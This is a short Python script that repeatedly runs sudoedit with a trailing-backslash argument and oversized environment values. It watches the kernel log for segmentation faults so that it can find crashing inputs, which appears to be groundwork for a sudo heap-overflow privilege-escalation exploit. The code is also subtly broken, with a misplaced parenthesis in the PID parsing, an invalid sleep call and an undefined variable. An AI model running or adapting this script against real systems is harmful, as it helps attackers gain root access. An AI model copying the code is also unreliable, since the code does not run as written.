#!/usr/bin/python
# Env: python3
# Author: caleb
# Rewrite: afei_0and1

import subprocess, threading, time
from  rich.console import Console

ARG_SIZE_RAHGE = range(22, 512, 4)
ENV_SIZE_RANGE = range(4192, 65535, 4)
CRASH_MAP = {}

console = Console()

def monitor_kmsg():
    with open("/dev/kmsg", "r") as filp:
        for line in filp:
            if "sudoedit" in line and ("segmentation" in line or "general protection" in line):
                pid = int(line.split("sudoedit]"[1].split("]")[0]))
                CRASH_MAP[pid] = line

thread = threading.Thread(target=monitor_kmsg)
thread.daemon = True
thread.start()

with open("crash_log.txt", 'w') as log:
    for env_size in ENV_SIZE_RANGE:
        args = ["/usr/bin/sudoedit", "-s", "0123456789012345678901\\"]
        env = {
            "X": "A" + "B"*env_size
        }
        console.log(f"info: running w/ env_size={env_size}")
        P = subprocess.Popen(args, env=env)

        try:
            P.wait(1)
        except subprocess.TimeoutExpired:
            console.log(f"info: timeout for env_size={env_size}")
            P.terminate()
            P.wait()
        if P.returncode == -11:
            while P.pid not in CRASH_MAP:
                time.sleep(0,1)
            console.log(f"success crash w/ env_size={env_size}")
            log.write(f"CRASH: PID={P.pid}, ARGSIZE={arg_size}, ENVSIZE={env_size}: {CRASH_MAP}")
        elif P.returncode < 0:
            console.log(f"info: crashed w/ code {P.returncode}")

